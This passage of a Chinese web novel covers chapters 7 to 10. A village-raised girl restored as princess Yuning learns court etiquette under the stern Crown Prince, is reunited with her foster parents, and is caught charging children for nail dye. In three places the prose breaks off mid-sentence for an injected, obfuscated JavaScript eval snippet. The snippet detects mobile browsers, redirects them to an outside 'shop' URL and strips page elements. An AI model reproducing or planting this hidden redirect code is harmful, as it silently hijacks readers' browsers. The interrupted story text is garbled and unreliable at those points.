香蕊示意前面的太子,让春风小声点。 春风捂了嘴。 现在看来,李三十分明是阴险狡诈,不然怎么暗地里在芙蓉阁外看她走路,揭穿了她的妙计。 而且,她三个月月俸还没罚完呢。 重重因素叠加,春风还真有点惧他了。 玉华宫和东宫都在东,走了没一会儿,春风耷拉着脑袋进了东宫,才发觉在芙蓉阁看到的楼宇是东宫。 先前她还以为那是宫门口的阙楼。 瞄着殿内多宝格、博古架上的砚台、匕首,墙上挂着字画,春风愈发失望,只觉灰扑扑的,半点没芙蓉阁好。 便是茶水,都是苦苦的。 春风吃了一口茶,皱起一张小脸。 长英请示上首李铉:“殿下,是否要宣洪嬷嬷……” 春风想到温柔的洪嬷嬷,悄悄松口气。 李铉:“不必,宣黄嬷嬷。” 春风:“……” 黄嬷嬷从前教过长公主、二公主,性格严肃,不苟言笑,从她一张脸拉得几里长,可见一斑。 此时,春风与她二人待在东宫侧殿,香蕊被支走。 黄嬷嬷手里拿着一柄两指宽的旧戒尺,道:“奴婢参见公主。” 春风没上过学堂,指着戒尺问:“这是什么?” 黄嬷嬷:“这是先帝赐奴婢的戒尺,先帝曾对奴婢说:若主子有哪里做得不好,当以戒尺训斥。” 春风明白了,这是斩她的“尚方宝剑”。 灯影戏都演了,钦差大臣拿了此剑就为所欲为。 她心里凉了一大截。 好在此时,康公公到来,步履匆匆,春风赶紧挪到门口,只看康公公先进了正殿,没一会儿出来,却不找她。 难道不是来救她的吗? 她忙也追出去:“康公公!” 康公公一愣,笑眯眯道:“奴婢见过玉宁公主。” 春风捉住这棵救命稻草,小声说:“你快和父皇说,我被捉来东宫。”更小声,“那黄嬷嬷有尚方戒尺!” 康公公见小公主惶惶,不由心疼,还是狠心撇开目光,说:“回公主,皇上要闭关七日。七日内不得与外界接触,否则坏了修道大业。” 春风:“?” 她哪里知道,救命稻草自己也泥菩萨过河。 李铉已让长英去查内帑。 虽说皇帝有些私产是应该,但这些年皇帝失权,四处搜罗好东西也不容易,全赖东宫睁一只眼闭一只眼。 东宫此举颇有威慑之意。 及至此,春风隐隐约约察觉出,这个皇宫里说话真正管用的,好像是太子。 她眼睁睁看着康公公溜了,再一回头,黄嬷嬷站在门口,掂量着戒尺,冷冷说:“公主,请。” 靠山山倒,靠人人跑,春风定下心,与黄嬷嬷说:“我可以学好规矩,你不要拿戒尺吓我。” 黄嬷嬷皱眉:“公主不服戒尺?” 想到自己求救无门,春风也起了气性,嘀咕:“我爹娘都没打过我。” 黄嬷嬷只用戒尺“嘭”地一声敲打桌子:“公主慎言,不能把民间的习惯带回宫里,该用‘父皇、母后’。” 春风怔住,好一会儿说不出话。 她无法辩解,她说的“爹娘”是林大田和于秀君。 可他们连名字不能在这皇宫出现,何况是人。 … 不用两日,春风就学会了全部礼仪。 黄嬷嬷那根戒尺也没动过,但搁在案上威慑力很足。 她原以为春风是冥顽不灵的,才会把规矩学成这样。 但真的教起来,她才知道,她的老姐妹洪嬷嬷为何对这孩子赞不绝口。 一个聪敏的学生,能让师父省太多心。 这日下午,黄嬷嬷也没有旁的要教了,只再叮嘱春风一句:“公主若平时回了寝宫,关起门来想做什么就做什么。” “只是在外,还是要循着礼仪,不可污了皇家体面。” 春风端坐,说:“是。” 黄嬷嬷想起洪嬷嬷说过,公主生性活泼爱笑,不爱别人跪她,更不喜欢随便使唤人。 只是这两日,春风没有笑过,好似在与谁犟劲。 又见外面日光金灿灿,黄嬷嬷道:“今日尚早,公主不妨出去走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378273|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,晒晒太阳。” 春风:“皇兄宫里,我不敢随便走走。” 黄嬷嬷道:“太子不在东宫。” 春风:“那我要去。” 她对东宫其实很好奇,就是怕遇到李铉,听闻他不在,明媚的眉宇间不由活泼了几分。 李铉不在,她就自在。 东宫也有一方很大的庭院,本该花木扶疏,却因时节凋零了好一些。 她同香蕊四处逛,在院里遇到一块大石碑。 它上面的缺角让春风很熟悉,走近看,果然是那块和她一起来皇宫的“杨公碑”。 当时来皇宫路上,林大田听说杨公碑是“好官碑”,很贵,便说:“咱们往上面刻个字,是不是可以留名到后世?” 于秀君听罢,笑说:“那就刻春儿的名字。” 林大田:“春上面是两横还是三横来着……” 于秀君:“哎呀,春儿将来是公主,肯定就会写了,然后教我们写。” “……” 春风眼前倏地模糊,眼泪如断线的珍珠,噼里啪啦地掉。 她趴在石碑上,肩膀耸动,哭了起来:“……我好想你们啊!” 香蕊手足无措,也红了眼眶:“公主!别哭呀,有什么委屈,你同我说……” 春风只顾着哭,不时嘟囔思念之情。 石碑冷冰冰,更令人难受。 荣华富贵好像也就这样了,她只想钻到于秀君怀里撒娇。 … “呜呜呜……” “我好想他们。” “呜呜……嗝呜呜……” 秋风拾起女孩沙哑的倾诉,飘进人的耳廓里,软软的,痒痒的。 李铉站在廊下,望着风的来处,抚平被风吹皱的袖口。 长英和几个太监不敢出声,今日事务少,他们提前回东宫,却遇到了公主在哭,不知如何是好。 长英也琢磨不出个章程。 从来没人敢在东宫这般哭诉,虽不见人影,光是那令人不忍的哭声,就要把东宫的墙给哭倒了。 他正犹豫,须臾,只见李铉闭了闭眼,低声吩咐一句。 长英听罢,惊讶地抬头看了眼李铉,又低头:“是,奴婢这就去安排。” …… 这日春风回到芙蓉阁,眼尾鼻尖都是红的,情绪也不高,恹恹的。 蕙儿担心:“莫不是黄嬷嬷用戒尺打了公主?” 芬儿气得攥住了手:“她敢!公主可是金枝玉叶!” 香蕊心情也低落,同小宫女们说:“嘘,别再提了,让公主一人安静安静吧。” 吃过晚饭,春风也不看灯影戏,只回床上躺着。 她打定主意,今晚要伤心一整晚。 蕙儿一直试着逗她:“公主,快来瞧瞧,这个琉璃灯会自己转。” “还有这个玉兔。” “……” 拿好东西逗不动,香蕊想到一样,赶紧说:“天方人带来一批橐驼,驼乳已经送到了宫里,早晨咱们宫里也得了一些。”注* “那驼乳很香,丝滑可口,有些咸又甜,有种无法言喻的甜美。” 春风听着听着,耳朵自己竖起来,身体自己坐起来。 嘴巴也自己问:“是什么样的?” 香蕊几人一喜,立时着人去煮了一碗酽酽的驼乳,盛在玉碗里端上来。 春风抽抽鼻子,觉得又被香蕊骗了,这玩意有点腥。 但说不定吃起来不一样。 她捧着碗才要吃,只听外头小太监跑进来,道:“公主,林大人和于氏来了!” 春风疑惑:“谁是林大人和于氏?” 不待旁人回答,于秀君已迫不及待跑进芙蓉阁,欢喜道:“春儿!” 春风顿时睁大眼眸,如乳燕投林,飞扑过去:“娘!” 8. 第八章 就是这只“乳燕”险些撞翻于秀君。 于秀君下盘不稳,后退好几步,还好林大田在身后,撑住母女俩。 见到亲爹,春风又哽咽:“爹……” 带于秀君和林大田来的,是东宫一个太监。 察觉香蕊几人被此情景镇住,那太监掐着嗓音,做主:“香蕊,主子要说话,还不快带人退下。” 香蕊:“是。” 便与蕙儿、芬儿几人离开屋子,那太监最后走的,顺手掩门。 屋内只剩林家三口人。 于秀君红了眼眶,抚摸春风柔嫩的脸:“来,让娘看看,你瘦了没有……呃,胖了。” 春风揽住于秀君的腰:“娘也胖了。” 林大田笑了,被于秀君扇打一下。 不过倒也不是真胖,他们先前一家出来逃难,都饿瘦不少,如今胖了,说明生活向好。 春风问他们怎么进宫,于秀君解释:“就是我们之前撞的那个贵人……” 春风:“长英。” 于秀君:“是他。长英大人前几日找我们,说是明日让我们进来,不知为何,方才匆匆叫人来接我们进宫。” “我是没想到,他是个这么好的人。” 春风有些感动,说:“他对我真好,”暗暗攥拳,“我会记得他的恩情。” 她又问父母在宫外过得如何。 前头长英说过,会把林大田于秀君安排在长京,但怎么变成“林大人”,着实令人好奇。 于秀君说:“让你爹自己说。” 林大田挠头笑,说:“我如今在那个太扑寺……不对,叫太仆寺,当一个官。足足有八品呢!” 县令也才七品,出任县令的,不是门阀世家的子孙,就是走举业的读书人。 虽然长京官员遍地走,但能捞到这么个八品官,对林大田来说,是天大的好事。 林大田:“况且人人都知道我是公主养父,什么事都不麻烦我干,我乐得日日偷闲呢!” 春风:“太好了!” 于秀君插话:“我们如今住在大通坊,宫里还拨了两个侍卫,又高又壮的,我们出行,他们还护送哩。” 春风:“更好了!” 虽然她隐约觉得哪里不对——好像被孤立和监视。 但衣着和精神不骗人,于秀君和林大田过得比逃债时好,暂时蒙蔽了人的感知。 一家人有说不完的话,不知不觉说了一刻钟。 于秀君这才分出注意力,观察芙蓉阁,很快嘴巴张成圆形:“这么多宝贝啊。” 林大田观察:“咱家春儿过得好,我也就放心了!” 春风噘噘嘴,想说太子的坏,又想到长英对自己好,便作罢。 有这么多宝物,她自然想送一些给父母。 可一来它们已登记在册,听说带出去很麻烦,何况有御制的印子,卖都卖不掉,二来,也有偷林青晓东西的嫌疑。 太贵重的不能拿,只能挑着巧的。 她从多宝格里抱出一只大雁叼鱼铜炉。 这阵子,经过她的不懈努力,大雁的一只眼珠子很松,此时轻轻一拨,就成功抠下来。 春风心里嘀咕:“林青晓,我跟你借点东西,以后会还给你的。” 她便把那紫珍珠递给于秀君:“娘,这是好东西,你和爹拿去用。” 于秀君欣慰又担心:“但少了个眼珠子,会不会不吉利……” 春风:“没事,又不是林青晓少了眼珠子。” 林大田却欲言又止。 他一咬牙,拿出一封信给春风:“我那日在衙门里,有一个脸生的人塞了这个东西给我,你看看是不是青晓的。” 于秀君跳起来:“我怎么不知道?” 林大田:“我怕你撕了嘛。” 那封信上,画了一个圆嘟嘟的小猪头,春风一眼认出就是林青晓画的。 于秀君心里还气林青晓,给了林大田几下:“你还敢收那小子的东西,就不怕又被坑了吗!” 林大田躲着:“这不是想到……” 想到菩萨玉佩本来是林青晓的,他怕有变动,不敢藏着信。 春风却不惊不慌,甚至很兴奋。 她立刻拆信,说:“说不定她也来长京了……” 于秀君见女儿对林青晓“念念不忘”,只好忍着气,过来看信。 一家三个脑袋凑在一起,看了好一会儿。 又面面相觑。 没凑出信里内容,倒是凑出三双未被知识污浊过的眼睛。 …… 于秀君和林大田不能久待,到了时辰,在宫门落钥前,便被接出皇宫。 春风再不舍,也满足了。 只有老天知道,她在想见父母时就能见到,是何等幸福,幸福到她又能愉快地享受荣华富贵。 待她洗漱完,蕙儿捧出香炉,看到少了一个眼睛的大雁,满地找紫珍珠。 香蕊:“看看是不是掉在屏风角落。” 蕙儿:“我方才瞧过了……” 芬儿给春风指甲涂凤仙花汁,听到蕙儿到处找紫珍珠,春风尾指心虚一抖,小声说:“没事,就当它掉了。” 为防止她们追问,她举起手张开五指,问香蕊:“好看吗?” 香蕊笑说:“好看,公主的手指真漂亮。” 春风:“你也涂。” 香蕊:“奴婢不敢。” 春风指指蕙儿:“那蕙儿涂。” 蕙儿赶紧躲到香蕊身后。 因春风不复先前沮丧,芙蓉阁上下又充斥阵阵笑声。 临睡前,香蕊照常给春风放帘子,春风躺在床上,扯住香蕊衣角。 香蕊:“公主这是……” 春风掩着唇,气音问:“香蕊,你识字吗?” 香蕊配合她小小声回:“认识的。” 春风一喜,只听香蕊说:“奴婢从前在东宫服侍,便认识了不少字。” 提到东宫,春风心生警惕,要是林青晓在信里和她商量了真假公主,被香蕊知道,东宫不就知道了? 她好不容易才学会礼仪,逃出东宫,就怕又出什么事。 见她沉思不语,香蕊问:“公主?” 春风把被子拉到下颌处,闭上眼睛:“没事,你去睡吧。” 看来只能自己认字了。 … 兴宁宫。 皇后听说春风愚笨不灵通,总是学不会礼仪,她本来也想插手,没想到太子先了一步。 当时瑶芝就说:“公主怕是要吃苦头。” 皇后不置可否。 这些年,她和太子愈发疏远,太子的皇妹皇弟对东宫更是心存敬畏,被太子这样“教导”,是想也不敢想的。 她自不像寿阳宫太后那般,认为太子对民间公主“上心”,反倒觉得是“打压”。 她想,洪嬷嬷在兴宁宫过了明路,春风是自己名义上得女儿,该管还是管。 于是第三日,她就打算不管春风学得如何,都把人捎到兴宁宫。 省得在东宫受罪。 意外的是,春风只用两日,就学完行止章程,再不用被扣在东宫。 瑶芝问黄嬷嬷:“公主当真学好了?” 黄嬷嬷:“奴婢不敢托大,公主大抵全学好了,若娘娘尚有疑虑,可宣公主前来。” 皇后:“知道了,你下去吧。” 思及除了皇宫礼仪,皇室子女还得学六艺,她命人去宣春风。 不一会儿,春风翩翩而至,果然行止端庄,挑不出大差错。 只是,她眉眼笑意款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378274|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 款,朱唇轻翘,一张如花似玉的脸上,似乎荡漾着甜甜的蜜糖水,十分喜庆可人。 瑶芝见她,似被分了口蜜糖水,笑问:“公主笑什么呢?” 春风总不好开口就说:因为不用去东宫,所以去哪都很开心。 她选择了句意思差不离的:“来见母后,所以开心。” 皇后刚去净手,方要进屋子,听得这句动作一顿,暗想,油嘴滑舌。 可春风见着她,脸上笑意不减,反而更甚,还软软叫了声:“母后。” 皇后粗了蹙眉,面上倒是看不出什么,只说:“坐吧。” 瑶芝看茶,桌上摆了一碟红豆糯米糕,糕点压出梅花形,中间的花蕊填了晶莹的红豆沙,雕出花瓣。 春风拿起糯米糕,吃一口就看一眼手上的糕点。 皇后本是想问她礼仪的,到嘴边成了别句:“不好吃吗?” 春风:“好吃,就是太好看了。” 皇后:“你还点评上了。” 春风眼眸一转,说:“礼仪没有说不能点评。” 皇后嘴角动了动,瑶芝则低头轻笑。 这时,宜妃带着纯淑公主前来请安。 纯淑公主着百花穿蝶齐胸襦裙,她只比春风小一岁,脸蛋圆鼻头也圆,看着很和气。 不知是不是春风先入为主,她觉得纯淑三分像林青晓。 纯淑叫春风:“皇姐。” 春风不太习惯,低头笑了下,唤她妹妹。 她一直知道林青晓还有“兄弟姐妹”,只是她没碰上,却不知往后会碰到多少。 皇后和宜妃寒暄两句,又问纯淑的课业。 随后,皇后对春风说:“你接下来得学诗书和骑射,要先学哪个?” 春风的心神险些被“骑射”两个字勾走。 她很快回过神,为了那封信,只说:“母后,还是读书吧。” 皇后点点头,说:“正好,纯淑等等要去崇文馆,你也一道去。” 请安后,宜妃回宫,春风和纯淑自往崇文馆去。 兴宁宫里,春风位置的那碟红豆糯米糕,五块被吃了四块。 瑶芝收盘子时,观察了一下,小公主还把剩下的一块挪到盘子中央,免得在边缘怪可怜的。 她好笑摇头:“这玉宁公主,是个爱吃甜的。” 皇后淡淡瞥了那桌面一眼。 其实,皇子皇女来兴宁宫请安,都是喝一口茶便走,譬如纯淑位置的糕点,就一口没动过。 瑶芝有可惜,可她更不可能劝皇后去亲近皇帝的孩子。 皇后也暗想,没想到第一个在她宫里吃得肆无忌惮的,是林贵妃的女儿。 她脱口而出:“她不像林妙儿。” 林妙儿那么精明可恨,生不出林春风这般呆呆的女儿。 … 春风打了个喷嚏。 她眼角余光发现纯淑在打量自己,直接问:“你看我做什么?” 纯淑说:“皇姐,你是不是很大胆啊。” 春风:“有吗?” 纯淑:“你敢去皇兄那学规矩,我们没人敢去的。” 春风支支吾吾,她其实也很不情愿。 但看清纯淑眼底的钦佩,她又有点飘飘然,说:“这有什么,我还逛了东宫的庭院呢。” 纯淑更佩服了:“那里我们更不敢去了。皇兄对你一定很好吧?” 春风:“……哪里哪里。” 到底是同龄女孩,两人没一会儿就聊开了。 等春风反应过来时,她们已经快到东宫。 她停下脚步,以为走错了,赶紧说:“咱们要去的是崇文馆。” 纯淑:“崇文馆隶属东宫,就在东宫配殿啊。” 春风:“……”才出虎口,又入虎口! 9. 第九章 … 崇文馆始设于东宫,太子却早已无须去崇文馆,为免搅扰东宫,东配殿和东宫有一道门。 纯淑指着那道门钉红木大门,小声说:“这道门我从没见它打开过。” 皇室子女都从侧门进出,也就是崇文馆虽在东宫,但谁也不敢踏足东宫的地盘。 也算两不相干。 弄明白这一点,春风把心放回肚子。 崇文馆里栽着银杏,树叶金黄,偶有飘零,枝头栖息几只小肥鸟,春风路过时,它们正叽叽喳喳和她玩笑。 她眯眼数麻雀的圆屁股。 长英从侧门进来,纯淑见他便收敛了动作,春风倒是倍觉亲切,唤他:“长公公!” 长英行过礼,笑说:“才接了兴宁宫的话,玉宁公主就来了,公主请和奴婢过来。” 春风看向纯淑,纯淑早已明白长英用意,说:“皇姐恐怕要从头开始学,和我学的不一样。” 长英:“正是如此。” 春风想也是,又问长英:“那我学什么?” 长英把春风带到配殿隔间。 隔间内坐着一群半大小孩,也都是启蒙的年纪。 她步伐有些犹豫,她最不喜欢和小孩玩。 长英以为她面子过不去,就说:“公主先启蒙,不用几个月,便也可以换个老师了。” 春风:“唔。” 长英又叫来了学官,吩咐好好照顾公主,莫要怠慢。 这位学官早早听说玉宁公主,若只是皇帝疼宠公主,他定会拿出读书人的清高,来一句“孔孟面前无高低贵贱”。 可这是太子身边的长英,那就不一样了。 学官脑筋转得极快:“臣明白,劳公公提点。” 春风的席位被安排在最后。 同窗都是宗室子弟,衣裳华贵,还有的身边带着伴读,春风最大比他们大十岁,最小的也大六岁。 他们有的好奇看了春风一眼,有的凑在一起,小声说着什么。 春风懒得和小孩眉来眼去,翻开桌上一本书,仔细观察里面的字。 看到有和林青晓信里重叠的,她圈起来,打算问学官。 这时,“哗啦”一声,一只麻雀翅膀扑棱,从窗外闯进屋内,众人惊惶躲鸟: “世子小心!” “哪来的鸟啊,侍卫,侍卫!” “……” 小孩们却感到兴奋:“是鸟!” “小鸟小鸟!” 两个侍卫东扑西捉,可那鸟儿何等灵活,躲过所有动作,眼看小孩愈发兴奋,学官叫侍卫:“把它打下来!” 打下来就死了。 有些小孩觉得太残忍,忍不住低头。 便是这时,角落传来一阵清越的啁啾声,一群视线顺着麻雀,麻雀则冲着这“鸟鸣”,稳稳停在一只素白涂蔻丹的手上。 春风轻捏住鸟身,拿到窗外松开手,鸟儿一下飞远了。 她拍拍手,回过身,鄙夷地看学官。 而一群小豆丁看着她,眼神放光:“哇——” …… 墨蓝的天幕里,月亮西堕,枝头鸟雀鸣叫声清脆,却愈衬出清冷。 太子醒了,东宫上下立时井然有序地动起来。 长英呼出一口白气,端过小太监手里的铜盆,说:“你去叫膳房把粥换成碧玉羹。” 小太监:“是。” 长英接过铜盆,穿过毡帘进屋。 他算算时辰,尚未及寅时,太子应是半夜头疼便睡不着了。 太子这病可以追究到十二年前,庆盛之乱之始。 当年皇帝弃守长京,把皇后和太子丢在皇城,十来岁的小少年监国守城。 本来军心涣散,守城士兵几乎快崩溃,是他重整士气,才能撑到援军到来。 只是长英一直记得,那年太子有次在城楼里小憩,忽的惊醒。 他撑着额头,目光幽幽,问:“长英,城破了吗?” 之后这么多年,不论如何进药,太子半夜头疼的毛病一直不见好转。 长英无声叹口气,搁下铜盆。 李铉披着衣裳,神色倒是不见倦怠,只俊眉微凝,他接过温热的手帕擦脸,张开手,几个太监捧来发冠、朝服、蹀躞带、鞋履,轻手轻脚替他换上。 走出里间,早膳也已摆上。 他扫了眼桌面,只吃两口碧玉羹便搁下,命人拿来公务。 今日是朔日,有大朝会。 待天色渐渐亮了,朝臣陆续进入紫宸殿站好,上首龙椅空荡荡的,龙椅的东面多加一把椅子。 这椅子加了七年有余。 李铉便坐在那把椅子上。 大朝会上,官员旁的唇枪舌战暂按下不提,倒是一事惹得争议不断: 今年河东遭灾,官员赈灾不力,太子出巡撸下好一批官员,其中,州府王刺史挪用赈灾款,按律例就算不斩首,流刑也避免不了。 但如今,河东举子竟联名替王刺史伸冤。 朝上吵不出个所以然,下朝后,又有与王氏有千丝万缕关系的官员求见。 李铉抚着手腕间的佛珠,说:“让他们都下去。” 长英:“是。” 他让太监去赶人,自己上前煎茶,一边小心翼翼说:“这王家,可真是胆大包天。” 李铉笑了一下,笑意不达眼底:“倒也寻常。” 给王家撑腰的是皇帝,哪怕皇帝如今不上朝,他依然是九五之尊。 长英不敢再提,专心往云纹茶铛里添了一点盐。 忽的,李铉说:“这几日,宫里很安静。” 长英说:“是啊,皇上说是闭关七日,到如今都没出关。” 李铉手指点了点桌案,长英便知道,他不想再听皇帝相关的。 他是个人精,当即换了个话头,笑说:“说起来,玉宁公主近来在好好读书,宫内也安静许多。” 李铉脑海里蓦地掠过一双乌圆清澈的眼眸,水润润的,但深处藏着一抹狡黠。 他端起茶缓缓吃了一口:“在崇文馆?” 长英:“是。” 静默了片刻,长英怕李铉又想突然看看春风在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378275|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,小公主静悄悄,总怕没好事。 他试图把话引到太后那,说:“自打殿下寻回了公主后,太后也没犯心疾了。” 果然,李铉搁下茶盏,说:“去寿阳宫。” 长英:“是。” 然而李铉迈出东宫,走了好几步,想起什么,他步伐一顿转向崇文馆。 长英一惊,怎么又往崇文馆去了。 …… 阳光西斜,崇文馆刚下学,却依然热闹。 银杏树下设了一副桌椅,春风一抖衣摆翘脚坐下,自有小伴读给她拍拍裙摆褶皱。 她面前排起一群小孩。 她慢条斯理地打开一罐凤仙花汁,用一柄小木刷沾花汁,叫最前面的小孩:“手。” 小孩伸出手,说:“玉宁姑姑,我要涂在尾指。” 春风“嗯嗯”两声,敷衍地涂上:“下一位。” 下一个小孩是福王世子,伸出一只小胖手:“我要五个指头!我不信这回小鸟不停在我手上!” 世子伴读眼前黑了又黑:“世子……这太多了。” 世子:“下学前洗掉就好了。” 伴读:“不行啊,一个指甲要十两,世子只有三十两……” 他俩在那争执,春风才不管他们呢,把剩下的汁涂到自己手指上,翘着手指欣赏。 “玉宁姑姑你快些!” “玉宁姑姑!” 春风晃晃小罐子,已经用完了,她对小孩们说:“我去换一罐。” 她进屋内拿出新的花汁,突然听到一众齐整的脚步声。 她心内猛地一沉,透过窗牖,远处门口来了一群人! 其实她还没看清为首那人模样,只是那身量,那气度,那前呼后拥的势头…… 春风反应过来,兔子似的蹿了起来,拉回窗躲在屋子里。 完啦! 她心口跳得很快,大脑一片空白,为什么李三十会来崇文馆! 可她又有点后悔,不知道外头的小孩会不会供出自己。 哎呀,待在屋内屋外都不好受。 她在窗户前焦急徘徊,发觉外头太安静了,刚刚还有脚步声呢,怎么都消失了。 不得已,她把整个脑袋趴窗户上,专心听声音。 … 而屋外,夕阳自内部穿透窗牖,便看一道影子在窗口鬼鬼祟祟。 长英本想出点声,李铉抬了抬手,长英只好吞下声音。 他一个头两个大,心道,小公主诶,奴婢这回有心也无力啊! 李铉也不让旁人来,他缓步上前,两手放在窗户边,顿了顿,下一刻,“刷拉”一下打开窗户。 刹那间,一股香气携着少女扑了出来,“咚”的一下跌进人怀里。 李铉后退一步,一只手下意识扶住她后颈。 她被按在他怀里,双眸惊疑不定,手攥住他胸口的朝服,指甲上湿润的凤仙花汁抹在了他衣裳上,鲜艳,明亮。 她眼神乱飘,赶紧擦那蔻丹。 那抹红晕染更开了。 李铉:“……” 10. 第十章 … 金乌西坠,层云细致地铺在青空上,琉璃瓦红墙内有人进进出出,却几乎没有旁的声音。 高大的银杏树下,李铉坐着一张檀木折枝莲花椅,修长的手指拿着茶盖,一下又一下,拨弄茶盏浮沫。 旁边,崇学馆学官战战兢兢,长英一手持笔,另一只手捧着一卷纸,问面前的小孩:“涂了几次?” 小孩小声:“两次。” 长英记好,旁边侍从捧着一只搁着银钱的盘子,长英数出两锭还给小孩。 小孩捧着银锭,低着头出了崇文馆大门,一见来接自己的奶嬷嬷,“哇”地一声哭了。 春风暗想,哭什么哭,她都没哭呢。 想着,她抽了一下鼻子,却不想这一声,叫一旁李铉搁下茶盏,朝自己睇来。 他的目光似有千钧,逼得她把头压得更低。 打发走最后一个小孩,长英捧着书卷,清清嗓子,低声同李铉道:“太子殿下,一共九十七两。” 李铉眉尾轻轻一压。 这事其实说来也简单,春风逗了一回鸟雀,惹得小孩们心生向往,遂骗小孩说是手里的蔻丹能吸引鸟雀。 一开始涂一次一两,但看孩子这么好骗,便涂一次十两。 要不是这回被撞见,骗几百两都是少的。 长英问学官:“大人莫不是糊涂了,竟放任崇文馆里出这种事?” 学官下跪叩首:“臣实在是不知……” 他哪能料到春风会和一群小孩“暗度陈仓”,只在下学后做交易,还让小孩回家前洗得干干净净。 李铉没有理会学官,他起身,走到缩着脑袋的春风跟前。 小骗子细细的贝齿咬着下唇,长睫颤了颤,小声:“皇兄我错了。” 李铉阅人无数,一眼看出她嘴上在认错,心里却憋着不服气。 他缓缓捻过腕间一粒紫檀佛珠,问:“哪里错了?” 果然,她想了好一会儿,张了张口,却不知道怎么回。 香蕊跟在春风身边,急得满头大汗,忙也跪下,想替春风说话,只李铉眼风冷冷一扫,吓得香蕊不敢出声。 春风这时才后怕,按李铉的性子,该不会要罚香蕊、蕙儿她们吧? 她干脆鼓起勇气说:“皇兄不罚我和芙蓉阁的人,我、我就说。” 李铉倒想看看她能分辩出个什么,道:“你说。” 听到不必挨罚,春风一喜,脑子活泛起来,竟是“口若悬河”:“我早说了,逗雀儿得学口哨,可他们学不会,我才说涂蔻丹,他们也信。这是他们自己要信的,不是我故意骗的。” “再说,我也没骗贫弱者啊,这九十七两对他们来说好少,可我爹……我养父母,就为了一百两,不得不背井离乡……” 她口齿清晰嘚吧嘚吧,银杏树上的鸟儿也啾喳啾喳。 于是她越说越自信,挺起胸脯:“皇兄,我这几天都涂了那么多回,还得哄着小孩,收点钱也不冤枉吧?” 要是不是瞥见长英扶额,春风都得把自己吹走了。 意识到不好,她生硬地转了个弯:“当然,我还是有错的,错在……” 错在没有见好就收,早知如此,今日她绝不涂蔻丹,改日再来。 春风:“错在,耽误了学习。” 说到这里,春风有些放松,这一套话怎么都找不出破绽吧? 李铉“嗯”了声,不去揪她话里别的漏洞,只说:“那就看看你的课业。” 春风:“呃,咳咳。” 狗腿子学官早就拿出一沓字帖递给李铉,从字帖背面透出的墨渍,都可以看出字写得得多难看。 春风一颗心又高高提起,她记得自己写得无聊了,还画了个猪头! 万幸,这时候崇文馆外,传来一声:“瑶芝姑娘求见。” 春风只觉天籁,忙也竖起耳朵。 李铉翻动的手势一停,抬眼看向门外:“让她进来。” 瑶芝行礼过后,说:“太子殿下,玉宁公主今晚要去兴宁宫用膳,时辰到了,皇后娘娘还不见公主,便命人来接公主。” 春风:“啊……” 香蕊反应很快:“公主忘了?是有这回事。” 春风恍然:“哦哦,是有。” 长英暗自咋舌,皇后竟然来给春风解围。 崇文馆里陷入沉寂,好一会儿,李铉把那份课业卷起,在手心轻敲了一下,说:“既是母后的意思,去吧。” 春风忍着跳一下的冲动:“皇兄再见!” 她顾不上旁的,裙袂纷飞奔向门口,却察觉到什么。 她回眸,银杏树叶摇曳,夕阳光模糊了身后男人的冷厉,英俊容色竟有一丝温和,似乎连唇角也弯了弯。 春风正莫名,身旁瑶芝闪烁的目光令她更莫名,总觉得双颊被她的目光隔空揉了一通, 春风指指自己脸颊,问瑶芝:“我脸上有什么吗?” 瑶芝笑道:“没有,没有。” 实则瑶芝很兴奋,皇后上次命人来东宫,得是五年前的事了。 因太子婚配,太子直接把皇后身边的老嬷嬷打杀出去,那之后皇后心生怨怼,赌气再没来过东宫。 严格来说,崇文馆到底和东宫不同,但皇后娘娘此举打破了这五年的僵持。 有一就有二,如何让瑶芝不喜? 春风心大,瑶芝既然说没有,她也没多想,待到了兴宁宫,她飞扑到皇后身旁,甜甜地叫:“母后,母后!多谢母后相救!” 差一点就黏上来了。 皇后侧身避开她,崇文馆的事还是她碰见福王世子才知晓的。 想到春风又得挨训,她让瑶芝去了崇文馆,便有了方才一幕。 忽视春风忽闪的大眼睛,皇后皱眉,说:“你实在太不像话了!” 春风敏锐察觉,皇后的口吻听起来好像很严重,但比起太子那种平淡,皇后反而好说话。 她就坡下驴,低头说:“是,我知道错了。” 皇后想不通,又问:“闹出这回事,你图什么?” 春风手指纠在一起,小声说:“想要有点钱。” 皇后:“就为了钱?” 春风眼巴巴看着皇后:“我被罚俸三个月,没有钱。” 皇后长长舒出一口气,既是为了钱,不过小事一桩,便叫瑶芝:“去库里包个一百两给公主。” 瑶芝愉快地“诶”了一声。 